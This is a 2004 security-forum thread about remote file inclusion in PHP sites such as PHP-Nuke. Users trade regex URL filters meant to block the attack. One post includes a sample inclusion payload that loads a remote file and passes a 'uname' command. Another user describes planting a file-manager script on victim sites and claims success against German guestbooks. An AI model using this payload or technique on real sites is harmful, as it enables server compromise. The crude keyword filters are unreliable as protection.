|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
PHP Scrip for file inclusion |
|
Posted: Mon Jul 26, 2004 5:20 pm |
|
|
5y573m f41lur3 |
Regular user |
|
|
Joined: May 25, 2004 |
Posts: 9 |
|
|
|
|
|
|
|
|
|
|
|
Posted: Tue Jul 27, 2004 9:11 am |
|
|
zer0-c00l |
Advanced user |
|
|
Joined: Jun 25, 2004 |
Posts: 72 |
Location: BRAZIL! |
|
|
|
|
|
|
this php injection bug is old |
|
|
|
|
|
.. |
|
Posted: Tue Jul 27, 2004 10:14 pm |
|
|
icenix |
Advanced user |
|
|
Joined: May 13, 2004 |
Posts: 106 |
Location: Australia |
|
|
|
|
|
|
i would imagine it would still work ? :/
like if it was your server? |
|
|
|
|
Posted: Wed Jul 28, 2004 12:15 pm |
|
|
xia |
Beginner |
|
|
Joined: Jul 28, 2004 |
Posts: 2 |
|
|
|
|
|
|
|
in phpnuke index.php
here is my solution
$checkurl = $_SERVER['REQUEST_URI'];
if ((preg_match("/\?admin/", "$checkurl")) ||
(preg_match("/\&admin/", "$checkurl"))||
(preg_match("/\?user/", "$checkurl")) ||
(preg_match("/\&user/", "$checkurl"))||
(preg_match("/\=http/", "$checkurl")) ||
(preg_match("/\?id/", "$checkurl")) ||
(preg_match("/\&id/", "$checkurl"))) {
echo "die";
exit;
}
hope it helps |
|
|
|
|
|
|
|
|
Posted: Thu Jul 29, 2004 9:44 pm |
|
|
madman |
Active user |
|
|
Joined: May 24, 2004 |
Posts: 46 |
|
|
|
|
|
|
|
xia wrote: | in phpnuke index.php
here is my solution
$checkurl = $_SERVER['REQUEST_URI'];
if ((preg_match("/\?admin/", "$checkurl")) ||
(preg_match("/\&admin/", "$checkurl"))||
(preg_match("/\?user/", "$checkurl")) ||
(preg_match("/\&user/", "$checkurl"))||
(preg_match("/\=http/", "$checkurl")) ||
(preg_match("/\?id/", "$checkurl")) ||
(preg_match("/\&id/", "$checkurl"))) {
echo "die";
exit;
}
hope it helps |
Optimize 'em, faster than above:
Code: | if (preg_match('/(\?|\&)(admin|user|http|id)/i', $checkurl)){die();} |
|
|
_________________ ch88rs,
madman |
|
|
|
|
|
|
|
Posted: Fri Jul 30, 2004 11:58 am |
|
|
xia |
Beginner |
|
|
Joined: Jul 28, 2004 |
Posts: 2 |
|
|
|
|
|
|
|
madman wrote: |
Optimize 'em, faster than above:
Code: | if (preg_match('/(\?|\&)(admin|user|http|id)/i', $checkurl)){die();} |
|
Cool Changes, madman.
Maybe it will be better if we change it to:
Code: |
if (preg_match('/(\?|\&)(admin|user|id)/i', $checkurl)||
preg_match("/\=http/", "$checkurl")){die();} |
Since http is used to check like id=http://some.com/some.gif&cmd%20uname
Cheers/ |
|
|
|
|
Posted: Thu Sep 02, 2004 4:21 pm |
|
|
Roberto |
Regular user |
|
|
Joined: Sep 01, 2004 |
Posts: 8 |
|
|
|
|
|
|
|
this is my first message at this forum
but i am not a newbie
well as you know remview.php,-a file administration script,can be saved as a text file.
and if a script of a victim(with a site of php of course) has a bug you may divert the link and you may reach till root,depending on the file permissions
i have tried with some german guestbooks and they all worked well |
|
|
|
|
|
|
|
|
Posted: Thu Sep 02, 2004 10:28 pm |
|
|
madman |
Active user |
|
|
Joined: May 24, 2004 |
Posts: 46 |
|
|
|
|
|
|
|
xia wrote: | Maybe it will be better if we change it to: |
Yes, it should be fine. Here another one pass:
Code: | if (preg_match('/(\?|\&)(admin|user|\=?http|id)/i', $checkurl)){die();} |
Roberto wrote: | well as you know remview.php,-a file administration script,can be saved as a text file.
and if a script of a victim(with a site of php of course) has a bug you may divert the link and you may reach till root,depending on the file permissions |
Yes, sure. In exception if the site protected with .htaccess for direct access to txt file from external domain, as well as jpg in old Apache vulnerability. |
|
_________________ ch88rs,
madman |
|
|
|
|
|
|
|
Posted: Fri Sep 03, 2004 10:33 pm |
|
|
Roberto |
Regular user |
|
|
Joined: Sep 01, 2004 |
Posts: 8 |
|
|
|
|
|
|
|
Quote: | old Apache vulnerability |
still existing.well,if i correct it better,as the urlchangers being used at IIS at apache with the control of the server admin,the gif jpeg files should be infected
i really liked this forum.so brief and native |
|
|
|
|
www.waraxe.us Forum Index -> Remote file inclusion
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|